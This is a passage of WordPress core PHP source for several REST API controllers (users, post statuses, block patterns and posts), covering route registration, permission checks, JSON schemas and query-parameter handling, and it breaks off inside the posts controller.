			$schema['properties']['avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the user.' ),
				'type'        => 'object',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'default'     => 'asc',
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'enum'        => array( 'asc', 'desc' ),
			'type'        => 'string',
		);

		$query_params['orderby'] = array(
			'default'     => 'name',
			'description' => __( 'Sort collection by user attribute.' ),
			'enum'        => array(
				'id',
				'include',
				'name',
				'registered_date',
				'slug',
				'include_slugs',
				'email',
				'url',
			),
			'type'        => 'string',
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to users with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['roles'] = array(
			'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['capabilities'] = array(
			'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['who'] = array(
			'description' => __( 'Limit result set to users who are considered authors.' ),
			'type'        => 'string',
			'enum'        => array(
				'authors',
			),
		);

		$query_params['has_published_posts'] = array(
			'description' => __( 'Limit result set to users who have published posts.' ),
			'type'        => array( 'boolean', 'array' ),
			'items'       => array(
				'type' => 'string',
				'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ),
			),
		);

		/**
		 * Filters REST API collection parameters for the users controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_User_Query parameter.  Use the
		 * `rest_user_query` filter to set WP_User_Query arguments.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_user_collection_params', $query_params );
	}
}
<?php
/**
 * REST API: WP_REST_Post_Statuses_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access post statuses via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'statuses';
	}

	/**
	 * Registers the routes for post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<status>[\w-]+)',
			array(
				'args'   => array(
					'status' => array(
						'description' => __( 'An alphanumeric identifier for the status.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage post statuses.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all post statuses, depending on user context.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data              = array();
		$statuses          = get_post_stati( array( 'internal' => false ), 'object' );
		$statuses['trash'] = get_post_status_object( 'trash' );

		foreach ( $statuses as $slug => $obj ) {
			$ret = $this->check_read_permission( $obj );

			if ( ! $ret ) {
				continue;
			}

			$status             = $this->prepare_item_for_response( $obj, $request );
			$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$status = get_post_status_object( $request['status'] );

		if ( empty( $status ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$check = $this->check_read_permission( $status );

		if ( ! $check ) {
			return new WP_Error(
				'rest_cannot_read_status',
				__( 'Cannot view status.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks whether a given post status should be visible.
	 *
	 * @since 4.7.0
	 *
	 * @param object $status Post status.
	 * @return bool True if the post status is visible, otherwise false.
	 */
	protected function check_read_permission( $status ) {
		if ( true === $status->public ) {
			return true;
		}

		if ( false === $status->internal || 'trash' === $status->name ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Retrieves a specific post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_status_object( $request['status'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post status object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Post status data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$status = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $status->label;
		}

		if ( in_array( 'private', $fields, true ) ) {
			$data['private'] = (bool) $status->private;
		}

		if ( in_array( 'protected', $fields, true ) ) {
			$data['protected'] = (bool) $status->protected;
		}

		if ( in_array( 'public', $fields, true ) ) {
			$data['public'] = (bool) $status->public;
		}

		if ( in_array( 'queryable', $fields, true ) ) {
			$data['queryable'] = (bool) $status->publicly_queryable;
		}

		if ( in_array( 'show_in_list', $fields, true ) ) {
			$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $status->name;
		}

		if ( in_array( 'date_floating', $fields, true ) ) {
			$data['date_floating'] = $status->date_floating;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) );
		if ( 'publish' === $status->name ) {
			$response->add_link( 'archives', $rest_url );
		} else {
			$response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) );
		}

		/**
		 * Filters a post status returned from the REST API.
		 *
		 * Allows modification of the status data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $status   The original post status object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_status', $response, $status, $request );
	}

	/**
	 * Retrieves the post status' schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'status',
			'type'       => 'object',
			'properties' => array(
				'name'          => array(
					'description' => __( 'The title for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'private'       => array(
					'description' => __( 'Whether posts with this status should be private.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'protected'     => array(
					'description' => __( 'Whether posts with this status should be protected.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'public'        => array(
					'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'queryable'     => array(
					'description' => __( 'Whether posts with this status should be publicly-queryable.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'show_in_list'  => array(
					'description' => __( 'Whether to include posts in the edit listing for their post type.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'slug'          => array(
					'description' => __( 'An alphanumeric identifier for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'date_floating' => array(
					'description' => __( 'Whether posts of this status may have floating published dates.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Block_Patterns_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block patterns via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Patterns_Controller extends WP_REST_Controller {

	/**
	 * Defines whether remote patterns should be loaded.
	 *
	 * @since 6.0.0
	 * @var bool
	 */
	private $remote_patterns_loaded;

	/**
	 * An array that maps old categories names to new ones.
	 *
	 * @since 6.2.0
	 * @var array
	 */
	protected static $categories_migration = array(
		'buttons' => 'call-to-action',
		'columns' => 'text',
		'query'   => 'posts',
	);

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/patterns';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block patterns.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block patterns.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Added migration for old core pattern categories to the new ones.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( ! $this->remote_patterns_loaded ) {
			// Load block patterns from w.org.
			_load_remote_block_patterns(); // Patterns with the `core` keyword.
			_load_remote_featured_patterns(); // Patterns in the `featured` category.
			_register_remote_theme_patterns(); // Patterns requested by current theme.

			$this->remote_patterns_loaded = true;
		}

		$response = array();
		$patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered();
		foreach ( $patterns as $pattern ) {
			$migrated_pattern = $this->migrate_pattern_categories( $pattern );
			$prepared_pattern = $this->prepare_item_for_response( $migrated_pattern, $request );
			$response[]       = $this->prepare_response_for_collection( $prepared_pattern );
		}
		return rest_ensure_response( $response );
	}

	/**
	 * Migrates old core pattern categories to the new categories.
	 *
	 * Core pattern categories are revamped. Migration is needed to ensure
	 * backwards compatibility.
	 *
	 * @since 6.2.0
	 *
	 * @param array $pattern Raw pattern as registered, before applying any changes.
	 * @return array Migrated pattern.
	 */
	protected function migrate_pattern_categories( $pattern ) {
		// No categories to migrate.
		if (
			! isset( $pattern['categories'] ) ||
			! is_array( $pattern['categories'] )
		) {
			return $pattern;
		}

		foreach ( $pattern['categories'] as $index => $category ) {
			// If the category exists as a key, then it needs migration.
			if ( isset( static::$categories_migration[ $category ] ) ) {
				$pattern['categories'][ $index ] = static::$categories_migration[ $category ];
			}
		}

		return $pattern;
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @param array           $item    Raw pattern as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$keys   = array(
			'name'          => 'name',
			'title'         => 'title',
			'content'       => 'content',
			'description'   => 'description',
			'viewportWidth' => 'viewport_width',
			'inserter'      => 'inserter',
			'categories'    => 'categories',
			'keywords'      => 'keywords',
			'blockTypes'    => 'block_types',
			'postTypes'     => 'post_types',
			'templateTypes' => 'template_types',
			'source'        => 'source',
		);
		$data   = array();
		foreach ( $keys as $item_key => $rest_key ) {
			if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) {
				$data[ $rest_key ] = $item[ $item_key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern',
			'type'       => 'object',
			'properties' => array(
				'name'           => array(
					'description' => __( 'The pattern name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'    => array(
					'description' => __( 'The pattern detailed description.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'viewport_width' => array(
					'description' => __( 'The pattern viewport width for inserter preview.' ),
					'type'        => 'number',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'inserter'       => array(
					'description' => __( 'Determines whether the pattern is visible in inserter.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'     => array(
					'description' => __( 'The pattern category slugs.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'keywords'       => array(
					'description' => __( 'The pattern keywords.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'block_types'    => array(
					'description' => __( 'Block types that the pattern is intended to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'post_types'     => array(
					'description' => __( 'An array of post types that the pattern is restricted to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'template_types' => array(
					'description' => __( 'An array of template types where the pattern fits.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'source'         => array(
					'description' => __( 'Where the pattern comes from e.g. core' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'core',
						'plugin',
						'theme',
						'pattern-directory/core',
						'pattern-directory/theme',
						'pattern-directory/featured',
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Posts_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Posts_Controller extends WP_REST_Controller {
	/**
	 * Post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Instance of a post meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Passwordless post access permitted.
	 *
	 * @since 5.7.1
	 * @var int[]
	 */
	protected $password_check_passed = array();

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
	}

	/**
	 * Registers the routes for posts.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		$schema        = $this->get_item_schema();
		$get_item_args = array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
		if ( isset( $schema['properties']['password'] ) ) {
			$get_item_args['password'] = array(
				'description' => __( 'The password for the post if it is password protected.' ),
				'type'        => 'string',
			);
		}
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the post.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $get_item_args,
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Overrides the result of the post password check for REST requested posts.
	 *
	 * Allow users to read the content of password protected posts if they have
	 * previously passed a permission check or if they have the `edit_post` capability
	 * for the post being checked.
	 *
	 * @since 5.7.1
	 *
	 * @param bool    $required Whether the post requires a password check.
	 * @param WP_Post $post     The post been password checked.
	 * @return bool Result of password check taking in to account REST API considerations.
	 */
	public function check_password_required( $required, $post ) {
		if ( ! $required ) {
			return $required;
		}

		$post = get_post( $post );

		if ( ! $post ) {
			return $required;
		}

		if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
			// Password previously checked and approved.
			return false;
		}

		return ! current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Retrieves a collection of posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$args       = array();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'post__not_in',
			'include'        => 'post__in',
			'menu_order'     => 'menu_order',
			'offset'         => 'offset',
			'order'          => 'order',
			'orderby'        => 'orderby',
			'page'           => 'paged',
			'parent'         => 'post_parent__in',
			'parent_exclude' => 'post_parent__not_in',
			'search'         => 's',
			'search_columns' => 'search_columns',
			'slug'           => 'post_name__in',
			'status'         => 'post_status',
		);

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Check for & assign any parameters which require special handling or setting.
		$args['date_query'] = array();

		if ( isset( $registered['before'], $request['before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['before'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_before'], $request['modified_before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['modified_before'],
				'column' => 'post_modified',
			);
		}

		if ( isset( $registered['after'], $request['after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['after'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_after'], $request['modified_after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['modified_after'],
				'column' => 'post_modified',
			);
		}

		// Ensure our per_page parameter overrides any provided posts_per_page filter.
		if ( isset( $registered['per_page'] ) ) {
			$args['posts_per_page'] = $request['per_page'];
		}

		if ( isset( $registered['sticky'], $request['sticky'] ) ) {
			$sticky_posts = get_option( 'sticky_posts', array() );
			if ( ! is_array( $sticky_posts ) ) {
				$sticky_posts = array();
			}
			if ( $request['sticky'] ) {
				/*
				 * As post__in will be used to only get sticky posts,
				 * we have to support the case where post__in was already
				 * specified.
				 */
				$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;

				/*
				 * If we intersected, but there are no post IDs in common,
				 * WP_Query won't return "no posts" for post__in = array()
				 * so we have to fake it a bit.
				 */
				if ( ! $args['post__in'] ) {
					$args['post__in'] = array( 0 );
				}
			} elseif ( $sticky_posts ) {
				/*
				 * As post___not_in will be used to only get posts that
				 * are not sticky, we have to support the case where post__not_in
				 * was already specified.
				 */
				$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
			}
		}

		$args = $this->prepare_tax_query( $args, $request );

		// Force the post_type argument, since it's not a user input variable.
		$args['post_type'] = $this->post_type;

		/**
		 * Filters WP_Query arguments when querying posts via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_query`
		 *  - `rest_page_query`
		 *  - `rest_attachment_query`
		 *
		 * Enables adding extra arguments or setting defaults for a post collection request.
		 *
		 * @since 4.7.0
		 * @since 5.7.0 Moved after the `tax_query` query arg is generated.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_query/
		 *
		 * @param array           $args    Array of arguments for WP_Query.
		 * @param WP_REST_Request $request The REST API request.
		 */
		$args       = apply_filters( "rest_{$this->post_type}_query", $args, $request );
		$query_args = $this->prepare_items_query( $args, $request );

		$posts_query  = new WP_Query();
		$query_result = $posts_query->query( $query_args );

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		$posts = array();

		update_post_author_caches( $query_result );
		update_post_parent_caches( $query_result );

		if ( post_type_supports( $this->post_type, 'thumbnail' ) ) {
			update_post_thumbnail_cache( $posts_query );
		}

		foreach ( $query_result as $post ) {
			if ( ! $this->check_read_permission( $post ) ) {
				continue;
			}

			$data    = $this->prepare_item_for_response( $post, $request );
			$posts[] = $this->prepare_response_for_collection( $data );
		}

		// Reset filter.
		if ( 'edit' === $request['context'] ) {
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		$page        = (int) $query_args['paged'];
		$total_posts = $posts_query->found_posts;

		if ( $total_posts < 1 && $page > 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $query_args['paged'] );

			$count_query = new WP_Query();
			$count_query->query( $query_args );
			$total_posts = $count_query->found_posts;
		}

		$max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );

		if ( $page > $max_pages && $total_posts > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = rest_ensure_response( $posts );

		$response->header( 'X-WP-Total', (int) $total_posts );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets the post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid post ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$post = get_post( (int) $id );
